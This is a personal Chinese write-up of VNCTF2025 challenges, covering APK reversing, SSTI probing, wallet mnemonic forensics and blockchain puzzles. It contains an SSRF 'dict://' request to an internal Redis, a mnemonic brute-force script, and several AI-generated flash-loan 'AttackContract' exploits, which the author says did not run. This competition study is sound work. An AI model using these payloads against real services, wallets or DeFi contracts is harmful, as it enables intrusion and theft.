VNCTF2025 个人Writeup(垂死挣扎记录)

NOTE

官方WP:http://ctf-files.bili33.top/VNCTF2025/VNCTF2025%20Official%20Writeup.pdf

[Reverse] Hook Fish

钓到的鱼怎么跑了?

下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity

找到Activity看到里面有一些函数

    public void loadClass(String input0) {
        String input1 = encode(input0);
        File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
        DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent());
        try {
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method m = loadedClass.getMethod("check", String.class);
            boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue();
            if (check) {
                Toast.makeText(this, "恭喜,鱼上钩了!", 0).show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public String decode(String boy) {
        try {
            File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
            DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method decodeMethod = loadedClass.getMethod("decode", String.class);
            return (String) decodeMethod.invoke(obj, boy);
        } catch (Exception e) {
            e.printStackTrace();
            return "Error";
        }
    }

    public String encode(String girl) {
        try {
            File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
            DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method encodeMethod = loadedClass.getMethod("encode", String.class);
            return (String) encodeMethod.invoke(obj, girl);
        } catch (Exception e) {
            e.printStackTrace();
            return "Error";
        }
    }
}

去抓包,发现从http://47.121.211.23/hook_fish.dex下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件

用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码),然后可以拿到里面ji编码后的密文

jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji

解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的)

    public static String encrypt(String str) {
        byte[] str1 = str.getBytes(); // 把字符串变成bytes
        for (int i = 0; i < str1.length; i++) {
            str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68
        }
        StringBuilder hexStringBuilder = new StringBuilder();
        for (byte b : str1) {
            hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex
        }
        String str2 = hexStringBuilder.toString(); // 把hex变成字符串
        char[] str3 = str2.toCharArray(); // 把String转换为char[]数组
        code(str3, 0); // 进行自定义编码
        for (int i2 = 0; i2 < str3.length; i2++) {
            if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f
                str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减,再加上 i2 % 4,i2是循环变量
            } else {
                str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加,再加上 i2 % 10,i2还是循环变量
            }
        }
        Log.d("encrypt: ", new String(str3));
        return new String(str3);
    }

    private static void code(char[] a, int index) {
        if (index >= a.length - 1) {
            return;
        }
        a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或,设三个数字为a, b, c,此时 a 变成了 c(a ^ b = c)
        a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a,此时第二个字符为 a
        a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b,此时达到了第一个字符和第二个字符对调的效果
        code(a, index + 2); // 前进两位,下一组
    }

于是组合起来,写个JIO本

class HookFish:
    def __init__(self):
        self.fish_ecode = {}
        self.fish_dcode = {}
        self.encode_map()

    def encode_map(self):
        encode_dict = {
            'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj",
            'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji",
            'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij",
            'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij",
            'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji",
            'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili",
            '5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji",
            '0': "jjjli"
        }
        for char, code in encode_dict.items():
            self.fish_ecode[char] = code
            self.fish_dcode[code] = char

    def decode(self, p1):
        decoded_str = []
        for i in range(0, len(p1), 5):
            encoded_char = p1[i:i+5]
            decoded_str.append(self.fish_dcode.get(encoded_char, '?'))
        return ''.join(decoded_str)

def decrypt(encrypted_str):
    def reverse_step4(chars):
        reversed_chars = []
        for i, c in enumerate(chars):
            current_ord = ord(c)
            # 逆向处理 a-f 的情况
            original_ord_case1 = (current_ord - (i % 4)) + ord('1')
            if 97 <= original_ord_case1 <= 102:
                reversed_chars.append(chr(original_ord_case1))
                continue
            # 逆向处理其他字符
            original_ord_case2 = current_ord - ord('7') - (i % 10)
            if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102:
                reversed_chars.append(chr(original_ord_case2))
            else:
                reversed_chars.append('?')  # 无效占位符
        return reversed_chars

    # 逆向第四步变换
    step3_chars = reverse_step4(list(encrypted_str))
    
    # 逆向 code 函数(交换相邻字符)
    for i in range(0, len(step3_chars)-1, 2):
        step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i]
    
    # 转换十六进制字符串为字节
    try:
        hex_str = ''.join(step3_chars)
        encrypted_bytes = bytes.fromhex(hex_str)
    except ValueError:
        return "Invalid Hex"
    
    # 逆向字节偏移
    original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes])
    return original_bytes.decode('utf-8', errors='replace')

# 使用示例
hook_fish = HookFish()
encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"

raw_encrypted = hook_fish.decode(encoded_string)
print("Encrypted String:", raw_encrypted)

decrypted_flag = decrypt(raw_encrypted)
print("Decrypted Flag:", decrypted_flag)

最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

[MISC] VN_Lang

我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?

本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。

直接把exe丢进IDA,然后Shift + F12,查看字符串,发现flag

flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}

[Web] 学生姓名登记系统(未出)

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

确实并非无懈可击,但是我是没办法打

上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然

输入输出

然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%},会直接原样返回

这些关键词包括但不限于:%lipsum,有些组合也不能够被正确识别,例如{{request.args.a}}{{request.cookies.c}}这样的

此外,还有长度限制,经过测试,当单行输入长度>=24的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示

因为我实在是没找到方法来规避这个长度限制,所以只能作罢

[Web] 奶龙回家(未出)

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

NOTE

我才是奶龙.jpg

给了登录框,可以输入用户名和密码,一开始就想到了爆破

然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作

行吧,我后面再来看你(然后就忘了 =-=)

[Reverse] 抽奖转盘(未出)

主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。

NOTE

真的上手吗(害怕

附件的格式.hap就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler

把hap文件解压以后,将里面的.abc文件丢进去就可以反编译了……但这是啥啊!

好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样

后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢

模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0

[MISC] Ekko(未出)

Ekko似乎找不到完美的时间线了。。。

题目地址:156.238.233.119:10001

faucet:156.238.233.119:10000

rpc:156.238.233.119:8545

一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约

nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步

PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1
[+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] please transfer more than 0.001 test ether to the deployer account for next step

首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了

接着要向别人转账,再次nc选择2,把token给它就可以部署合约了

PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE
[+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6

然后就是要完成合约,但是怎么完成?我不道啊!!

[MISC] aimind(未出)

基于大模型生成网站思维导图,不觉得很cool 吗

题目链接:http://39.100.72.235:8000/

本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次.

访问后告诉我们要输入url来生成思维导图

我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档

改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示

  • 据说有个redis在内网
  • 172.18.0.3

那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令

测试了一下dict://172.18.0.3:6379/INFO,确实可以获取信息

于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢

还是对Redis不熟的问题 =-=

[MISC] Echo Flowers(已复现)

英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?

本题附件下载地址:百度网盘Google Drive

114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的

附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .

赛中自己做

一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好将助记词导入,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词

具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目

ramp ranch twenty you only space define fashion high laundry carpet muscle

因为助记词的顺序会影响钱包地址,于是写了个爆破脚本

import itertools
from mnemonic import Mnemonic
from eth_account import Account
from eth_utils.exceptions import ValidationError
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed

# 启用HD钱包功能
Account.enable_unaudited_hdwallet_features()

# 给定的12个助记词
mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split()

# 目标地址
target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9'

# 初始化助记词处理工具
mnemo = Mnemonic('english')

# 函数:生成钱包地址
def generate_address_from_mnemonic(mnemonic_words):
    try:
        mnemonic_phrase = ' '.join(mnemonic_words)
        # 验证助记词是否有效
        if not mnemo.check(mnemonic_phrase):
            return None
        seed = mnemo.to_seed(mnemonic_phrase, passphrase="")
        # 使用EthAccount生成钱包
        acct = Account.from_mnemonic(mnemonic_phrase)
        return acct.address.lower()
    except ValidationError:
        return None

# 处理每个排列组合
def process_permutation(perm):
    address = generate_address_from_mnemonic(perm)
    if address == target_address:
        return perm
    return None

# 使用线程池执行多线程任务
with ThreadPoolExecutor() as executor:
    # 创建tqdm进度条
    progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1)
    
    # 提交任务并处理结果
    for perm in progress_bar:
        future = executor.submit(process_permutation, perm)
        result = future.result()
        progress_bar.update(1)
        if result:
            print(f"Found correct sequence: {result}")
            break
    else:
        print("No matching address found.")

然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了

赛后复现

根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了

搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面,而我在winhex里面看到的跟我用string提取的一样

PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin
SGCM(
SGCP(
SGHW(
SGKC$
SGLB(
SGPA(
SGPF(
SGTG(
SGQG(
SGBU(
SGMU(
SGPU(
SGBG(
SGAU(
SGAB(
SLDA(
SGNU(

这样子看不出来任何东西,而官方wp加入了--encoding=b

Deepseek: --encoding=b 表示让 strings 工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。

PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

就能够看到助记词,而且有确切的顺序,导入进去就有钱包了

所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}

找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取

[MISC] Something for nothing(未出)

今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方?

稍加利用也许能拿到怪东西?

做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项

于是在Deepseek的帮助下,有了这样的攻击步骤

  1. 触发闪电贷:在attack函数中,通过调用flashLoan借入5000 USDT。
  2. 执行套利操作:在executeOperation回调函数中:
    • USDT→VNB:在池0(USDT-VNB)中将借入的USDT兑换为VNB。
    • VNB→WMB:在池1(VNB-WMB)中将获得的VNB兑换为WMB。
    • WMB→USDT:在池2(USDT-WMB)中将获得的WMB兑换回USDT。
  3. 转移利润:计算利润并将USDT利润转至profitReceiver
  4. 归还贷款:确保剩余的USDT足够偿还闪电贷,并授权DEX取回。

关键点:

  • 手续费漏洞:DEX的getAmountOut函数错误地将amountIn乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。
  • 三角套利路径:利用三个流动性池的价格差异,通过三次交换实现无风险利润。
  • 闪电贷机制:通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。

于是它给了我下面的合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // 借入5000 USDT进行攻击
        uint256 loanAmount = 5000 ether;
        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }

    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Invalid token");

        // 授权DEX使用借入的USDT
        IIERC20(token0).approve(dex, amount);

        // 在池0中将USDT兑换为VNB
        ISimpleDEX(dex).swap(0, amount, true);

        // 在池1中将VNB兑换为WMB
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 在池2中将WMB兑换为USDT
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, false);

        // 将利润转给profitReceiver
        uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
        require(currentBalance >= amount, "无法偿还贷款");
        uint256 profit = currentBalance - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

        // 授权DEX取回贷款
        IIERC20(token0).approve(dex, amount);
    }
}

但问题是,我放到题目里面以后,它不跑啊……

我还是把各种AI给的合约放在这个下面吧

Deepseek R1

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // 借入5000 USDT进行攻击
        uint256 loanAmount = 5000 ether;
        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }

    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Invalid token");

        // 授权DEX使用借入的USDT
        IIERC20(token0).approve(dex, amount);

        // 在池0中将USDT兑换为VNB
        ISimpleDEX(dex).swap(0, amount, true);

        // 在池1中将VNB兑换为WMB
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 在池2中将WMB兑换为USDT
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, false);

        // 将利润转给profitReceiver
        uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
        require(currentBalance >= amount, "无法偿还贷款");
        uint256 profit = currentBalance - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

        // 授权DEX取回贷款
        IIERC20(token0).approve(dex, amount);
    }
}

Gemini 2.0 Pro 02-05

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;
    uint256 public loanAmount;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
        external
    {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;
        loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount

        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }
    function executeOperation(uint256 amount, address token) external{
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Wrong token");
        require(amount == loanAmount, "Wrong Amount");

        IIERC20(token0).approve(dex, loanAmount);
        // 1. Swap USDT for VNB (ammIndex 0)
        ISimpleDEX(dex).swap(0, amount, true);

        // 2. Swap VNB for WMB (ammIndex 1)
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 3. Swap WMB for USDT (ammIndex 2)
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, true);

        // Transfer profit to profitReceiver
        uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

    }
}

ChatGPT 4o

// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack { 
    address token0;
    address token1;
    address token2;
    address dex;
    address profitReceiver;

    uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable)

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
        external
    {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // Step 1: Flash loan from SimpleDEX (borrow USDT)
        ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT
    }

    // This function is called by the SimpleDEX during flash loan callback
    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");

        // Step 2: Perform triangular arbitrage
        // 1. Swap USDT (token0) to VNB (token1)
        uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB
        uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received
        ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB

        // 2. Swap VNB (token1) to WMB (token2)
        uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB
        uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received
        ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB

        // 3. Swap WMB (token2) to USDT (token0)
        uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT
        uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received
        ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT

        // Step 3: Repay the flash loan
        require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan");
        IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan

        // Step 4: Check if profit was made
        uint256 profit = IIERC20(token).balanceOf(profitReceiver);
        require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made
    }
}

[PWN] FileSys(未出)

You only have one chance to edit

题目给了一个bzImage、一个rootfs.cpio、一个boot.sh,用qemu启动试试

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "root=/dev/ram console=ttyS0" \
    -nographic \
    -m 512M

启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥

反倒是在用winhex翻文件的时候,在根目录有flag.txt写着VNCTF{inkey}

[MISC] ezSignal(未出)

你也热爱信号吗?

本题附件下载地址:下载链接

题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~

图片的描述里面,照相机序列号有key:VN2025CTF(下图是旧附件flag.txt)

后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
91            0x5B            Zlib compressed data, compressed
6026          0x178A          Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt
176360381     0xA830BBD       Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt
354325610     0x151E946A      End of Zip archive, footer length: 22

题目给了提示

  • 请仔细研究题目附件压缩包的文件结构
  • GRC流程图是 窄带FM调制+XOR

然而还是做不出来

Comments

留下你的见解与看法吧🎉